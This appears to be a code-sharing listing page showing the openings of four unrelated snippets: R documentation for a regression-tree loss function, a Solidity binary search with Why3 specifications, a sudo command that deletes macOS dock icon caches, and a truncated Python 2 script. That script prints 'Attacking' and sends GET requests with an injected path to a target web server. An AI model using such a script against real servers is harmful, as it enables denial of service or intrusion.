This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#' Function that takes in a list of samples, with the corresponding Y values, and calculates the r_loss, assuming a regression tree. | |
#' If a leaf only has one sample, then we return the Y value squared. We choose this value because | |
#' we don't want to return 0, which will encourage the tree to keep leaves with 1 sample, but we also | |
#' don't want to return a huge value, which will force the tree to never have leaves with 1 sample, even if | |
#' the sample is an outlier. But of course we could choose to return something else when there is only | |
#' one sample in the leaf, if it makes more sense. | |
#' | |
#' @param Y The Y values | |
#' @param samples The samples on which to calculate the r_loss. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract BinarySearch { | |
///@why3 | |
/// requires { arg_data.length < UInt256.max_uint256 } | |
/// requires { 0 <= to_int arg_begin <= to_int arg_end <= arg_data.length } | |
/// requires { forall i j: int. 0 <= i <= j < arg_data.length -> to_int arg_data[i] <= to_int arg_data[j] } | |
/// variant { to_int arg_end - to_int arg_begin } | |
/// ensures { | |
/// to_int result < UInt256.max_uint256 -> (to_int arg_begin <= to_int result < to_int arg_end && to_int arg_data[to_int result] = to_int arg_value) | |
/// } | |
/// ensures { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo find /private/var/folders/ -name com.apple.dock.iconcache -exec rm {} \; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, sys, os | |
print "][ Attacking " + sys.argv[1] + " ... ][" | |
print "injecting " + sys.argv[2]; | |
def attack(): | |
#pid = os.fork() | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((sys.argv[1], 80)) | |
print ">> GET /" + sys.argv[2] + " HTTP/1.1" | |
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n") | |
s.send("Host: " + sys.argv[1] + "\r\n\r\n"); |